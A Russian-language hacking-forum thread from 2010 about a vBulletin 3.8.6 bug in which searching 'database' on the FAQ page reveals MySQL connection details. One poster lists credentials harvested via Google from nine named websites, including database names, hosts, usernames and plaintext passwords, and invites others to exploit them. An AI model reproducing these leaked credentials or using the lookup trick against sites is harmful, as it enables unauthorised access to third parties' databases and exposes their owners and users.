show me database config by vbulletin 3.8.6

Discussion in 'Песочница' started by 4upakabr0, 24 Jul 2010.

  1. 4upakabr0

    4upakabr0 Member

    Joined:
    14 May 2008
    Messages:
    124
    Likes Received:
    23
    Reputations:
    0
    В популярном движке для форумов vBulletin нашли интересную уязвимость — при вводе в поиске на странице FAQ слова «database» на экран выводится вся информация о подключения к MySQL серверу.

    Проблему устранили в vBulletin версии 3.8.6-PL1.
    Если верить разработчикам — данный баг был просто недосмотром, из движка забыли убрать часть дебаг-кода.

    Habr (c)
     
    1 person likes this.
  2. 4upakabr0

    4upakabr0 Member

    Joined:
    14 May 2008
    Messages:
    124
    Likes Received:
    23
    Reputations:
    0
    Вот что успел напарсить гуглом, мб кто выжмет что интересного:

    Code:
    www.moby-fix.co.uk/forum/
    Database Name: mobyfixc_termy2k
    Database Host: localhost
    Database Port: 3306
    Database Username: mobyfixc_termy2k
    Database Password: h#*+f7ZfChl_
    
    dartfrogconnection.com/vforum/
    Database Name: dartfrog_vforum
    Database Host: localhost
    Database Port: 3306
    Database Username: dartfrog_taisav
    Database Password: capo2009
    
    forum.sssolutions.net/
    Database Name: sssnet_sss
    Database Host: localhost
    Database Port: 3306
    Database Username: sssnet_sssdb
    Database Password: laserverpass
    
    expat.ru/forum
    Database Name: expat_forum
    Database Host: localhost
    Database Port: 3306
    Database Username: expat_admin
    Database Password: park745
    
    www.fanbolt.com/forums
    Database Name: fanbolt_vb3
    Database Host: localhost
    Database Port: 3306
    Database Username: fanbolt_fbforums
    Database Password: EmmaATLAndy1105
    
    www.kisekistudios.com
    Database Name: kisekist_forum
    Database Host: localhost
    Database Port: 3306
    Database Username: kisekist_admin
    Database Password: yagami04
    
    www.efooty.com
    Database Name: vbulletinefooty
    Database Host: p41mysql83.secureserver.net
    Database Port: 3306
    Database Username: vbulletinefooty
    Database Password: Bestia123
    
    www.raidersmerciless.com
    Database Name: vforum
    Database Host: localhost
    Database Port: 3306
    Database Username: root
    Database Password: 03einstein72
    
    www.skinnermania.com
    Database Name: Sql185132_1
    Database Host: 62.149.150.73
    Database Port: 3306
    Database Username: Sql185132
    Database Password: Z6Y.2UuZ
     
  3. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Работает через раз.
    Похоже, только на оригинальных стилях.